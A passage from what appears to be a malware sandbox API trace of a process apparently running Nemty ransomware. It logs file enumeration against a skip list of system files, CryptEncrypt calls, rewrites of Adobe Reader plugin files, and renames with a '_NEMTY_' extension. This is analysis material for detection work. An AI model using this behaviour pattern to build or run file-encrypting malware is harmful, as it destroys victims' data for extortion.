lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CAT", lpUsedDefaultChar=0x0) returned 9 [0190.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CAT", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CAT", lpUsedDefaultChar=0x0) returned 9 [0190.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CAT", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CAT", lpUsedDefaultChar=0x0) returned 9 [0190.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CAT", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CAT", lpUsedDefaultChar=0x0) returned 9 [0190.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0190.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0190.646] Sleep (dwMilliseconds=0x5) [0190.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x254a29f0, dwHighDateTime=0x1d561e8)) [0190.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x254a29f0, dwHighDateTime=0x1d561e8)) [0190.661] GetLastError () returned 0xb7 [0190.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.661] GetLastError () returned 0xb7 [0190.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.661] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.661] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.661] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0190.662] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e29c | out: pszString="yguagJTVTwVEHGwNv7nhnRcZ/u0COWyi+Eeuur2dkcCyoeArQ9gdPG4DQOJsph2L\r\nLHaOSMkyF+2cJY2Unt3Dm3wWohMVN0hhxzdREb4wVTSziiU77pNBmqPTBYCmozVu\r\nKcdGtiF/ltLlN41lv0UhW8llN4yh7uewHrKdXOVcfZUd3cNo/ICrn7JNQXzD7OJQ\r\nMPApFVmlnHuWVYTyS2eXCfVOmBzOOleFgxElYjVw2nqPHsMdJmKyzELyV02pkgjr\r\nnFTtMPoZcxd1PvoiTrXSLuvcWT8P53bSdwqdbDesoCF24Ss228HGlMZtmdG6Gjx7\r\n1eOqkQyabo1tVK1tU0FYdA==\r\n", pcchString=0x653e29c) returned 1 [0190.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0190.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0190.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.663] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.663] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.663] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.664] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.664] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.665] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.665] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340308*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340308*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.665] CloseHandle (hObject=0x2f0) returned 1 [0190.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0190.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0190.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0190.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.665] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.cat._nemty_kgobjgd_")) returned 1 [0190.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0190.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0190.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0190.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0190.666] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.CHS", cAlternateFileName="")) returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2=".") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="..") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="...") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="windows") returned -1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="$RECYCLE.BIN") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="rsa") returned -1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="NTDETECT.COM") returned -1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="ntldr") returned -1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="MSDOS.SYS") returned -1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="IO.SYS") returned -1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="boot.ini") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="boot.ini") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="ntuser.dat") returned -1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="desktop.ini") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="CONFIG.SYS") returned 1 [0190.666] lstrcmpiW (lpString1="Flash.CHS", lpString2="RECYCLER") returned -1 [0190.667] lstrcmpiW (lpString1="Flash.CHS", lpString2="BOOTSECT.BAK") returned 1 [0190.667] lstrcmpiW (lpString1="Flash.CHS", lpString2="bootmgr") returned 1 [0190.667] lstrcmpiW (lpString1="Flash.CHS", lpString2="programdata") returned -1 [0190.667] lstrcmpiW (lpString1="Flash.CHS", lpString2="appdata") returned 1 [0190.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHS", lpUsedDefaultChar=0x0) returned 9 [0190.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHS", lpUsedDefaultChar=0x0) returned 9 [0190.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHS", lpUsedDefaultChar=0x0) returned 9 [0190.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.CHS", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.CHS", lpUsedDefaultChar=0x0) returned 9 [0190.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0190.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0190.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.667] Sleep (dwMilliseconds=0x5) [0190.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x254c8b50, dwHighDateTime=0x1d561e8)) [0190.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x254c8b50, dwHighDateTime=0x1d561e8)) [0190.677] GetLastError () returned 0x0 [0190.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.677] GetLastError () returned 0x0 [0190.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.677] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.677] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.677] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0190.677] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e29c | out: pszString="sN0NUhlVXqsMyuSdFW6G7v8N4AlbGc0h0kD+dkW+aoOm5qt4s6D9vCJfCXGb5pjw\r\nMgQfLN46wLyF0Y4MbPl+5clAlJhoLnnBtsEe7HgM1vFmsA97XgGHEBUsknW10QTE\r\nW3f7kX2Ux4zBLtObGTdqCELG2Gevn8y2Lo5xvoZTHkCxbWAttiEPTSr49U+HOviH\r\noyTXcUIyk9pTaOE0/AzokDw6CfndQeAVE0bZWgzWAj/sQN1W8vzzMsIAtqLrUgta\r\nZD4L3bVa8f1S1T/yRGeWkTYoAIzBnTz3R96JjMDWWh9Gi0JeQTUDmDn1vTWWqVHV\r\nILZziRE2e79w4Hga6vmwCA==\r\n", pcchString=0x653e29c) returned 1 [0190.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0190.677] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0190.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.677] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.678] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.678] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.678] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.679] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.680] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.680] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.680] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340308*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340308*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.680] CloseHandle (hObject=0x2f0) returned 1 [0190.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0190.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0190.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0190.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.680] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.chs._nemty_kgobjgd_")) returned 1 [0190.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0190.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0190.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0190.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.681] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.CHT", cAlternateFileName="")) returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2=".") returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="..") returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="...") returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="windows") returned -1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="$RECYCLE.BIN") returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="rsa") returned -1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="NTDETECT.COM") returned -1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="ntldr") returned -1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="MSDOS.SYS") returned -1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="IO.SYS") returned -1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="boot.ini") returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="boot.ini") returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="ntuser.dat") returned -1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="desktop.ini") returned 1 [0190.681] lstrcmpiW (lpString1="Flash.CHT", lpString2="CONFIG.SYS") returned 1 [0190.682] lstrcmpiW 